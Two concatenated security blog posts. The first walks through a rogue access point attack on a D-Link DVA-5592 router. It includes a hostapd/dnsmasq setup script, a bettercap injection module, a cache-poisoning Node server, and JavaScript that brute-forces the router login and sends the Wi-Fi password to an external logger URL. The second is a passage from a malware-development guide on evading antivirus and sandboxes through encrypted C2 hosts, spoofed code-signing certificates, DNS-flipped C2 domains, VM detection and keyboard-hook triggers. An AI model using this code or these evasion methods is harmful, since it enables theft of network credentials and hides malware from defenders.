#!/bin/bash

# the internet interface
internet=eth0

# the wifi interface
phy=wlan0

# The ESSID
essid="TEST"

# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up

##################
# DNSMASQ
##################
echo "
interface=$phy

bind-interfaces

# Set default gateway
dhcp-option=3,10.0.0.1

# Set DNS servers to announce
dhcp-option=6,10.0.0.1

dhcp-range=10.0.0.2,10.0.0.10,12h

no-hosts

no-resolv
log-queries
log-facility=/var/log/dnsmasq.log

# Upstream DNS server
server=8.8.8.8
server=8.8.4.4

" > tmp-dnsmasq.conf

# start dnsmasq which provides DNS relaying service
dnsmasq --conf-file=tmp-dnsmasq.conf

##################
# IPTABLES
##################

# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward

# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE

##################
# HOSTAPD
##################
echo "ctrl_interface=/var/run/hostapd

interface=$phy

# ESSID
ssid=$essid

driver=nl80211
auth_algs=3
channel=11
hw_mode=g

# all mac addresses allowed
macaddr_acl=0

wmm_enabled=0" > tmp-hotspot.conf

# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf

How to force people to connect to it

DISCLAIMER: I left this section intentionally at a high-level of description without any code for different reasons. However, if it gets enough attention and people are interested about it, I will probably extend it with a more in-depth discussion providing, perhaps, some code and practical guide.

Depending on your target there might be different ways to try and get someone to connect to a fake access point. Let’s discuss two scenarios:

Scenario 1

In this case the target is connected to a password protected Wi-Fi, perhaps the same password protected Wi-Fi the attacker is trying to access. There are a couple of things to try in this case, but first let me discuss something interesting about how Wi-Fi works. The beloved 802.11 standard has many interesting features, one of which I’ve always found … amusing. The 802.11 defines a special packet that, regardless of the encryption, the password, the infrastructure or anything at all, if sent to a client will simply disconnect that client from the access point. If you send it once, the client will disconnect and immediately reconnect, and the end user won’t even notice that something happened. However, if you keep sending it, the client will eventually give up meaning you can actually jamming the Wi-Fi connection and the user will notice that his not connected to the access point anymore. By abusing this characteristic, you can simply force a client to disconnect from the legitimate access point it is connected to. At this point two things can be done:

  1. The attacker can create a fake access point with the same ESSID of the access point the target was connected to, but without a password. In this case the attacker should hope that once the user realizes his not connected to the access point, he would try to manually connect again. The target will thus find two networks with the same ESSID, one will have a locker while the other one won’t. The user might try to connect to the one with the locker first, which won’t work because the attacker it jamming it, and chances are that he might also try the one without the locker … after all it has the same name of the one he wants so badly to connect to … right??
  1. Another interesting behavior that can be exploited, is that whenever a client is not connected to an access point, it keeps sending beacon packets looking for previously known ESSIDs. If the target had connected to an unprotected access point, and chances are that he did, the attacker can simply create a fake access point with the same ESSID of the unprotected access point visited by the target. As a result, the client will happily connect to the fake access point.

Scenario 2

In this case the target is not connected to any Wi-Fi access point, maybe because the target is a smartphone and the owner is walking on the street. However, chances are, that the Wi-Fi card is still turned on and the device is still looking for known Wi-Fi ESSIDs. Once again, as discussed previously, chances are that the target had connected to an unprotected Wi-Fi access point. Thus the attacker can just create a fake access point with the ESSID of an access point the target had connected to and just like before, the Wi-Fi client will happily connect to the fake access point.

Create and inject the malicious payload

Now comes the “slightly newer” part (at least for me): figure out what the malicious JavaScript code should do to access the router and steal the Wi-Fi password. Remember that the victim will be connected to the fake access point which obviously gives the attacker quite some advantage, but still there are a couple of things to consider.

As a target router to attack, I used my home Wi-Fi router, specifically a D-Link DVA-5592 which was (not so) freely provided by my ISP. Unfortunately, for the time being, I don’t have other devices that I can test, so I have to make due with it.

Let’s now discuss the malicious JavaScript code. The goal is to have it performing requests to the router, meaning that it has to perform requests to a local IP address. This should already call for keywords such as Same-Origin-Policy and X-Frame-Option.

Same-Origin-Policy

Let me borrow the definition from MDN web docs:

The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps to isolate potentially malicious documents, reducing possible attack vectors. https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

In other words: if domain A contains JavaScript code, that JavaScript code can only access information within domain A or sub-domains of domain A. It cannot access information from domain B.

X-Frame-Options

Let me again borrow the definition from MDN web docs:

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame><iframe> or <object> . Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

That’s pretty straightforward: the X-Frame-Options is used to prevent pages from being loaded in an iframe.

So let’s see the response that we get from requesting the login page of the D-Link:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182

<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>

The response contains X-Frame-Options set to DENY (thanks god) meaning that if I was hoping to load it in an iframe, I just cannot. Moreover, since the malicious JavaScript code will be injected in a different domain than the one of the router, the Same-Origin-Policy will prevent any interaction with the router itself. The simple solution I came up with, and beware it might not be the only one, is the following:

The injection consists of two different JavaScript code. The first JavaScript code will add an iframe inside the infected page. The src parameter of the iframewill point to the router’s IP address. As already said, the router’s IP address has the X-Frame-Options set to DENY so the iframe won’t be able to load the router’s page. However, when the JavaScript code that creates the iframe executes, the victim is still connected to the fake access point (remember the advantage point I mentioned earlier?). Which means that the request to the router’s IP address will be handled by the fake access point … how convenient. The fake access point can thus intercepts any request performed towards the router’s IP address and respond with a web page that:

  1. contains a second JavaScript code that will actually perform the requests to the real router,
  2. doesn’t have the X-Frame-Options header,
  3. includes headers to cache the page.

Since the fake access point poses as the legitimate router, the browser will cache a page for which the domain is the router’s IP address thus bypassing both the Same-Origin-Policy and the X-Frame-Options. Finally, once the infected client connects back to its home router:

  1. the first JavaScript code will add an iframe pointing the router’s IP address,
  2. the iframe will load a cached version of the router’s home page containing the second malicious JavaScript,
  3. the second malicious JavaScript will attack the router.

The first malicious JavaScript is pretty simple, it just has to append an iframe. The second malicious JavaScript is a little bit trickier as it has to perform multiple HTTP requests to brute-force the login, access the page with the Wi-Fi password and send it back to the attacker.

In the case of the D-Link, the login request looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh

The important parameters here are:

  • userName which is admin (shocking);
  • userPwd which looks encrypted;
  • nonce which is definitely related to the encrypted password.

Diving in the source code of the login page I almost immediately noticed this:

1
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);

Which means that the login requires the CryptoJS library and takes the nonce from document.form.nonce.value. With this information I can easily create a small JavaScript code that takes an array of usernames and passwords and attempts to brute-force the log in page.

Once inside the router, I need to look around for the location where I can retrieve the Wi-Fi password. The current firmware in the D-Link DVA-5592 shows the Wi-Fi password IN PLAINTEXT (oh boy) right after the login in the dashboard page.


At this point all I need to do is to access the HTML of the page, get the Wi-Fi password and send it somewhere to collect. Let’s now dive into the actual JavaScript code tailored for the D-Link. I included comments so you can follow what’s happening.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// this is CryptoJS, a bit annoying to have it here
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a=
this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=
l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=
a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();
this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()},
reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math);
(function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64>
n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes,
g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math);
(function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f=
this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})();


// check if this is a D-Link
// This is a safe check that I put so that the payload won't try to attack something
// that is not a D-Link, the check could definetly be improbed but given that I
// only have this D-Link we will have to make it due ... for now

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra","true");
xhr.onload = function () {
      if(this.response.includes("D-LINK")){
      	console.log("d-link");
      	dlinkStart();
      }

      };
xhr.responseType = 'text'
xhr.send(null);


// The main function that starts the attack
function dlinkStart(){
	// List of possible usernames
	var usernames = ["administrator","Administrator","admin","Admin"];
	// List of possible passwords
	var passwords = ["password","admin","1234","","pwd"];
	// the array containing usernames and passwords comination
	var combos = [];

	var i = 0;

	// combines all possibile usernames and passwords and put it into combos
	for(var i = 0; i < usernames.length; i++)
	{
	     for(var j = 0; j < passwords.length; j++)
	     {
	        combos.push({"user":usernames[i],"pwd":passwords[j]})
	     }
	}


	function dlinkAttacker(user, passwd) {

	  // first request to get the nonce
	  var xhr = new XMLHttpRequest();
	  xhr.open('GET', 'http://192.168.1.1/ui/login', true);
	  xhr.onload = function () {
	    if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
					// the current username to test
					var username = user
					// the current password to test
	      var pwd = passwd
					// the nonce extracted from the web page
	        var nonce = xhr.response.form.nonce.value
					// the password encrypted with nonce
	        var encPwd = CryptoJS.HmacSHA256(pwd, nonce)

					// let's try to log in
	        var xhr2 = new XMLHttpRequest();
	        xhr2.open('POST', 'http://192.168.1.1/ui/login', true);

	        //Send the proper header information along with the request
	        xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	        xhr2.onload = function () {
	          if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
	            try {
								// the comination username\password was corrent, let's get the Wi-Fi password
	              var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML
								// WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-)
								var xhr3 = new XMLHttpRequest();
								xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk);
								xhr3.send( null );
	            } catch (e) {
	              // Wrong password, let's try a different combination
	              i++
	              dlinkAttacker(combos[i].user, combos[i].pwd)
	            }
	          }
	        }
					// the body of the login request
	        var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce
	        xhr2.responseType = 'document'
	        xhr2.send(params);
	    }
	  };
	  xhr.responseType = 'document'
	  xhr.send(null);
	}

	// Start the attack from the first combination of username\password
	dlinkAttacker(combos[i].user, combos[i].pwd)
}

This page should be cached in client’s browser and sent as coming from the router’s IP address. Let’s now put this code aside for a moment and let’s discuss the network configuration that will allow to cache it.

As I just said, the JavaScript code above will be cached as coming from the router’s IP address and will be loaded in an iframe that is created from another JavaScript that I inject in every JavaScript page that the client requestss in HTTP. To accomplish the interception and injection part, I use bettercap. Bettercap allows to create HTTP proxy modules that can be used to program the HTTP proxy and tell it how to behave. For instance it is possible to intercepts responses before they are delivered to the client and decide what to inject, when to inject it and how ti inject. I’ve thus created a simple code, again in JavaScript, that is loaded in bettercap and performs the injection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// list of common router's IP .. which definitely requires improvement
var routers = ["192.168.1.1", "192.168.0.1"]

// this function is called when the response is 
// received and can be sent back to the client
function onResponse(req, res) {
  // inject only responses containing JavaScript
  if(res.ContentType.indexOf('application/javascript') == 0 ){
    console.log("caching");
    console.log(req.Hostname)
    var body = res.ReadBody();
    // set caching header
    res.SetHeader("Cache-Control","max-age=86400");
    res.SetHeader("Content-Type","text/html");
    res.SetHeader("Cache-Control","public, max-age=99936000");
    res.SetHeader("Expires","Wed, 2 Nov 2050 10:00:00 GMT");
    res.SetHeader("Last-Modified","Wed, 2 Nov 1988 10:00:00 GMT");
    res.SetHeader("Access-Control-Allow-Origin:","*");
    
    // set payload
    var payload = "document.addEventListener(\"DOMContentLoaded\", function(event){\n";
    for(var i=0; i < routers.length; i++){
    	payload = payload + "var ifrm = document.createElement('iframe');\nifrm.setAttribute('src', 'http://"+routers[i]+"');ifrm.style.width = '640px';ifrm.style.height = '480px';\ndocument.body.appendChild(ifrm);\n";
    }
    payload = payload + "});";
    
    res.Body = body + payload;
  }
}

One thing is worth noting from the code above, the JavaScript payload tries to load one iframe for every IP in the array routers. This is because the IP of the home router might have been configured differently. This means that the Raspberry has to answer to different IPs on different subnets. To do so, I simply add more IPs to the wireless interface of the Raspberry. In this way, whenever the code that loads the iframe is executed, a request is performed towards common routers’ IP addresses and the wireless interface of the Raspberry can pretend to be the router, answer to those requests and cache whatever I want.

Finally, I need a web server on the Raspberry that listens on the wireless interface and caches the JavaScript code that attacks the router. I did some test with Nginx first, to make sure the idea was working, but finally I opted for Node.JS, mainly because I still hadn’t tried it’s HTTP server (I know).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
var http = require("http");
var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"]
var fs = require('fs');
// load the index web page
var index = fs.readFileSync("./www/index.html");
// load the JavaScript file, which might be more than one 
// when support for other router is implemented
var jsob = fs.readdirSync('./www/js');
var repobj = {}

for (var i in jsob){
	// placing a / at the beginning is a bit of a lazy move
	repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}

var server = http.createServer(function(request, response) {
	var url = request.headers.host + request.url;
	console.log('Request: ' + url);
	console.log("REQUEST URL" + request.url);
	console.log(request.headers);

	var headers = {
		"Content-Type": "text/html",
		"Server": "dribble",
		"Cache-Control": "public, max-age=99936000",
		"Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
		"Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
		"Access-Control-Allow-Origin": "*"
	};

	// Cache the index page
	if (routers.includes(url))
	{
		console.log("cache until the end of time");
		response.writeHead(200, headers);
		response.write(index);
		response.end();
		return;
	}
	// cache the JavaScript payload
	else if (repobj[request.url]){
		console.log("cache JS until the end of time");
		headers["Content-Type"] = "application/javascript";
		response.writeHead(200, headers);
		response.write(repobj[request.url]);
		response.end();
		return;
	}
});

// listen on port 80
server.listen(80);

Let’s test it out … for real … almost!

At this point I had already done some tests on my own but I wanted to try it in a more realistic environment. However, I can’t just try it on anyone without their consent, so first I needed a victim that would willingly be part of this little experiment … so I asked my girlfriend. The conversation went something like this:

Great, now that I had a victim that willingly decided to participate in this little experiment, it was time to start the hack and lure her iPhone 6 to connect to my fake access point. I thus created a fake access point with an ESSID I knew she has visited before (yes, also intel on your victim can be helpful) and soon enough her iPhone connected to my fake access point.

I let her browse the web while still connected to the fake access point and patiently waited for her to end up on an HTTP only web site.

He waded out into the shallows,
and he waited there three days
and three nights,
till all manner of sea creatures
came acclimated to his presence.
And on the fourth morning, …
Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)

Finally, bettercap flickered and printed that something had been injected, which meant I didn’t need to have her connected to my access point anymore.

I thus turned off my access point, causing her phone to roam to our home Wi-Fi access point and, since she was still browsing that web site, the malicious JavaScript code that got injected did its job and sent the password of my Wi-Fi network straight to my PHP page.

Wrapping up

The whole thing is available in my github, it can definetly be improved and, hopefully, by the time you read this it already has. Support for new routers should also be added as well. If I have the change to put my hands on other devices I will definetly add them to the repository. In the meantime, have fun and …

Malware on Steroids Part 3: Machine Learning & Sandbox Evasion

 

( Original text by Paranoid Ninja )

It’s been a busy month for me and I was not able to save time to write the final part of the series on Malware Development. But I am receiving too many DMs on Twitter accounts lately to publish the final part. So here we are.

If you are reading this blog, I am basically assuming that you know C/C++ and Windows API by now. If you don’t, then you should go back and read my other blogs on Static AV Evasion and Malware Development using WINAPI (basics).

In this post, we will be using multiple ways to evade endpoint detection mechanisms and sandboxes. Machine Learning is applied at two major levels in most organization. One is at the network level where it tries to identify anomalies based on the behavior of network connections, proxy logs and pattern of connections over time. Most Network ML Solutions tend to analyze beacons of malwares and DPI (deep packet inspection) to identify the malware. This is something that Microsoft ATA (Advanced Threat Analytics), or FireEye sandboxes do. On the other hand, we have Endpoint agents like Symantec EP, Crowdstrike, Endgame, Microsoft Cloud Defender and similar monitoring tools which perform behavioral analysis of the code along with signature detection to detect malicious processes.

I will purely be focusing on multiple ways where we can make our malware behave like a legitimate executable or try to confuse the Endpoint agent to evade detection. I’ve used the methods mentioned in this blog to successfully evade Crowdstrike Agent, Symantec EP and Microsoft Windows Cloud Defender, the videos of the latter which I have already posted in my previous blogs. However, you might need to modify or add new techniques as this might become detectable over time. One of the best ways to avoid AV is to disable the Process creation altogether and just use WINAPI. But that would mean carefully crafting your payloads and it would be difficult to port them for shellcoding. That’s the main reason malware authors write their malwares in C, and only selected payloads in shellcode. A combination of these two makes malwares unbeatable on all fronts.

Each of the techniques mentioned below creates a unique signature which most AVs won’t have. It’s more of a trail and error to check which AVs detect which techniques. Also remember that we can use stubs and packers for encryption, but that’s for a different blog post that I will do later.

P.S.: This blog is exclusive of shellcodes, reason being I will be writing a separate blog series on windows Shellcoding later. I will be using encrypted functions during the shellcoding part and not in this post. This post is specifically how Malware authors use C to perform evasions. You can also use the same APIs and code snippets mentioned below to craft a custom malware for Red Teaming.

main():

So, before we start let’s try to get a based understanding of how Machine learning works. Machine learning is purely focused on the behaviour of the user (in case of endpoints). In short, if we sign our malware and try to make it act like a legitimate executable, it becomes really easy to evade ML. I’ve seen people using PowerShell to write reverse shells, but they get easy detectable due to Microsoft’s AMSI (Anti-Malware Scan Interface) which consistently keeps on checking (including and mainly PowerShell) to detect malicious process executions and connections.  For those of you who don’t know, Microsoft uses DMTK(Microsoft Distributed Machine Learning Toolkit) framework which is basically a decision tree based algorithm which specifies whether a file is malicious or not. PowerShell is very tightly controlled by Microsoft and it gets harder over time to evade ML when using PowerShell.

This is the reason I decided to switch to C and C++ to get reverse shells over network so that I could have flexibility at a lower level to do whatever I want. We will be using a lot of windows APIs, encrypted variables and a lot of decision tree of our own to evade ML. This it supposed to work till Microsoft doesn’t start using CNTK framework which is a much better framework than DMTK, but harder to apply at the same time.

Encrypted Host & Process Names

So, the first thing to do is to encrypt our hostname. We can possibly use something as simple as XOR, or any custom complicated mathematical equation to decrypt our encrypted variable to get the hostname. I created a python script which takes a hostname and a character and returns a Xor’d Array:

As you can see, it gives the Key value in integer of the Xor Key, the length of the encrypted array and the whole Encrypted array which we can simply use in a C integer or char array.

The next step is to decrypt this array at runtime and we need to hardcode the key inside the executable. This is the only key that we would be hardcoding into the code. Also, to make it complicated for the reverse engineer, we will write a C function to automatically detect that the last integer is the key and use that to loop through the array to decrypt the encrypted string. Below is how it would look like

So, we are creating a char buffer of the size of EncryptedHost on heap. We are then passing the host, length and decrypted host variable to the Decrypter function. Below is how the Decrypter function looks:

To explain in short, it creates an Encrypted Integer array of our char array  and xors them back again using the key to convert the encrypted value to the original value and stores them in the DecryptedData array we created previously. With the help of this, if someone runs strings, they wouldn’t be able to see any host in the executable. They would need to understand the math and set a proper breakpoint in Debugger to fetch the C2 host. You can create more complicated mathematical equations to decrypt host if required. We can now use this DecryptedData array within our sockets to connect to the remote host.

P.S.: Reverse Engineers & Sandboxes can fetch the C2 names with the help of packet captures and DNS Name Resolutions. It is better to send raw packets to multiple hosts to confuse which one is the real C2 server. But at the same time, this can lead to easy  detection of the malware. Check my Legitimate Domain Routing technique below which is much better than using this.

If you’ve read my previous post, then you know that I created a cmd.exe process using the CreateProcessW winAPI. We can do what we did above for Creating Processes as well. But instead of hardcoding the Encrypted array for the Process to be executed, we will send the process name as an array over network once the executable connects to the C2 Server along with the host. We can also use authentication on C2 server, and only allow it to connect if it sends a proper key. Below is the Code for Creating Processes using Encrypted Char array over sockets

In this way, when a system sandboxes our executable, it won’t know that what process are we executing beforehand inside a sandbox. Below is a much clearer description of what we are doing:

  1. Decrypt C2 host at runtime and connect to host
  2. Receive password and verify if it is right
  3. If the key is right, wait for 5 seconds to receive encrypted array(process name) over socket
  4. Decrypt the received Process and run it using CreateProcessW API

With the help of the above technique, if our C2 is down, then the sandbox/analyst will not be able to find what we are executing since we have not hardcoded any processes to execute.

Code Signing with Spoofed Certs

I wrote a Script in python which can fetch and create duplicate certificates from any website which we can use for code signing. One thing I noticed is that Antiviruses don’t check and verify the whole chain of the certificate. They don’t even verify the authenticity. The main reason being not every antivirus can connect to internet in every organization to fetch and verify the ceritificates for every third party application installed. You can find the Certificate spoofing python script on my GitHub profile here.

And this is the scan results of Windows ML Defender after Signing:

Next thing is we will try to add a few features to our malware to detect if we are running in a sandbox or inside a virtual machine. We will try to evade Sandboxes as much as possible and kill our executable as soon as we find anything suspicious. We need to make sure that our malware doesn’t even look suspicious. Because if it does, then the sandbox will quarantine it and send an alert that there is a suspicious process running. This is worse than detection because this is where most SOC detects the malware and the Red Teaming gets detected.

Legitimate Domain Routing (Evade Proxy Categorization Detection and Endpoint Detection)

This is one of the best techniques I’ve found out till date which almost works every time. Let’s say I buy a C2 domain named abc.com. I will modify the A records so that it points to Microsoft.com or some similar legitimate site for a month or so. When the malware executes on the vicim’s system, it will connect to this domain which will send a normal HTTP reply from Microsoft and the malware will go to sleep for a few hours and then loop into doing the same thing. Now whenever I want to get a reverse shell of my malware, I will simply change the A records of abc.com to my C2 hosting server and it will send a key in HTTP to the malware which will trigger it to fetch shellcode or send a shell back to my C2. This way, our abc.com will also get categorized as a legitimate domain instead of malicious or phishing site. And even the Endpoint systems will not block it since it is contacting a legitimate domain. Over time I’ve also used Symantec’s website to connect as a temporary domain, later changing it to my malicious C2 server.

Check System Uptime & Idletime (Evades Virtual Machine Sandboxes)

If our executable is running in a virtual machine, the uptime will be pretty short since it will boot up, perform analysis on our binary and then shutdown. So, we can check the uptime of the machine and sleep till it reaches 20-30 minutes and then run it. Make sure to use NTP to check the time with external domain, else Sandboxes can fast-forward system time for process executions. Checking via NTP will make sure that correct time is checked. Below is the code to check uptime of a system and also idle time in case required.

Idletime:

Uptime:

Check Mac Address of Virtual Machine (Known OUIs)

Vmware, Virtual box, MS Hyper-v and a lot of virtual machine providers use a fixed MAC Unique identifier which can be used to run in a loop to check if current mac address matches to any of those mentioned in the list. If it is, then it is highly possible that the malware is running in a virtual environment, mostly for the purpose of sandboxing and reverse engineering. Below are the OUIs that I know for the moment. If there are more, do let me know in the comments.

Company and Products MAC unique identifier (s)
VMware ESX 3, Server, Workstation, Player 00-50-56, 00-0C-29, 00-05-69
Microsoft Hyper-V, Virtual Server, Virtual PC 00-03-FF
Parallels Desktop, Workstation, Server, Virtuozzo 00-1C-42
Virtual Iron 4 00-0F-4B
Red Hat Xen 00-16-3E
Oracle VM 00-16-3E
XenSource 00-16-3E
Novell Xen 00-16-3E
Sun xVM VirtualBox 08-00-27

Below is the C code to detect mac address of a Windows machine:

Execute shellcode when a specific key is pressed. (Sleep & hook method)

Here, we are only executing our shellcode/malicious process when the user presses a specific key. For this, we can hook the keyboard and create a list of multiple keys that specify what kind of shellcode needs to be executed. This is basically polymorphism. Every time a different shellcode depending on the key will confuse the Antivirus, and secondly in a sandbox, no one presses any key. So, our malware won’t execute in a sandbox. Below is the Code to hook the keyboard and check the key pressed.

P.S.: Below code can also be used for Keylogging 😉

Check number of files in Temp and Recent Files

